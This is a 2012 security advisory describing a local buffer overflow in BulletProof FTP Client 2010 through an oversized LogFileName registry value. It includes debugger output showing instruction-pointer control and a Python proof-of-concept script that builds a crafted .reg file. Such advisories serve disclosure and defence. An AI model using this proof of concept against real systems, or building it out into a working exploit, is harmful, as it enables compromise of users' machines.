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BulletProof FTP Client 2010 Buffer Oveflow

BulletProof FTP Client 2010 Buffer Oveflow
Posted Apr 2, 2012
Authored by Julien Ahrens | Site vulnerability-lab.com

BulletProof FTP Client 2010 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | dbaa02581f0eeb715358b8fc95e0eb43

BulletProof FTP Client 2010 Buffer Oveflow

Change Mirror Download
Title:
======
BulletProof FTP Client 2010 - Buffer Overflow Vulnerability


Date:
=====
2012-04-02


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=475


VL-ID:
=====
475


Introduction:
=============
BPFTP Client is a fully automated FTP client, with many advanced features including automatic download resuming,
leech mode, ftp search and much more. Perfect for personal or corporate Webmasters as well as for Software and Music traders.

Features:
+ Automatic Resume/Reconnect
+ Browse Offline with Cache
+ Leech Mode
+ Hidden File Support
+ Download Credit/Ratio Support
+ Clipboard Monitor
+ Queue 1,000s of Actions
+ Proxy/Firewall Support
+ HTTP/Webserver Support
+ Import CuteFTP, WS_FTP, FTP Explorer
+ Remote Mirroring
+ Search and Filter Ability

(Copy of the Vendor Homepage: http://www.bpftp.com )


Abstract:
=========
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on BulletProof FTP Client v2010.75.0.76


Report-Timeline:
================
2012-03-14: Vendor Notification
2012-03-16: Vendor Response/Feedback
2012-04-02: Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
BulletProof
Product: BPFTP Client Software (Windows) v2010.75.0.76 & 2011.x


Exploitation-Technique:
=======================
Local


Severity:
=========
High


Details:
========
A Buffer Overflow vulnerability is detected on BulletProof FTP Client v2010.75.0.76 (current version). The vulnerability is located
in the main executeable bpftpclient.exe. During the start of the application the value LogFileName from the
registry key [HKEY_CURRENT_USER/Software/BulletProof Software/BulletProof FTP Client 2010/Options] is read.
When inserting an oversized value to the registry value a buffer overflow is triggered. The victim only needs to start the application.

Vulnerable Module(s):
[+] bpftpclient.exe


--- Debugger Logs ---
# 42424242: The instruction at 0x42424242 referenced memory at 0x42424242.
The memory could not be read -> 42424242 (exc.code c0000005, tid 2264)

# Registers:
# EAX 00000000
# ECX 42424242
# EDX 7C9132BC ntdll.7C9132BC
# EBX 00000000
# ESP 0012F594
# EBP 0012F5B4
# ESI 00000000
# EDI 00000000
# EIP 42424242

# Stack:
# 0012F588 00140198
# 0012F58C 7C91D80A ntdll.7C91D80A
# 0012F590 7C9601E1 ntdll.7C9601E1
# 0012F594 7C9132A8 RETURN to ntdll.7C9132A8
# 0012F598 0012F67C
# 0012F59C 0012FBCC ASCII ``AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
# 0012F5A0 0012F698

# Dump:
# 0012FBB4 41 41 41 41 41 41 41 41 AAAAAAAA
# 0012FBBC 41 41 41 41 41 41 41 41 AAAAAAAA
# 0012FBC4 41 41 41 41 41 41 41 41 AAAAAAAA
# 0012FBCC 41 41 41 41 42 42 42 42 AAAABBBB
# 0012FBD4 43 43 43 43 43 43 43 43 CCCCCCCC
# 0012FBDC 43 43 43 43 43 43 43 43 CCCCCCCC
# 0012FBE4 43 43 43 43 43 43 43 43 CCCCCCCC


Picture(s):
../1.png
../2.png


Proof of Concept:
=================
The vulnerability can be exploited by local attackers. Successful exploitation requires no user inter action. For demonstration or reproduce ...

#!/usr/bin/python

# Exploit Title: BulletProof FTP Client v2010.75.0.76 Local Buffer Overflow
# Version: 2010.75.0.76
# Date: 2012-03-11
# Author: Julien Ahrens
# Homepage: http://www.inshell.net
# Software Link: http://www.bpftp.com/
# Tested on: Windows XP SP3 Professional German
# Notes: -
# Howto: Import Reg -> Start App

file="poc.reg"

junk1="\x41" * 448
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\BulletProof Software\BulletProof FTP Client 2010\Options]\n"
poc=poc + "\"LogFileName\"=\"" + junk1 + boom + junk2 + "\""

try:
print "[*] Creating exploit file...\n";
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "[*] File successfully created!";
except:
print "[!] Error while creating file!";



Risk:
=====
The security risk of the local buffer overflow vulnerability is estimated as high(+).


Credits:
========
Vulnerability Research Laboratory - Julien Ahrens (MrTuxracer) [www.inshell.net]


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

Copyright © 2012|Vulnerability-Lab




--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com

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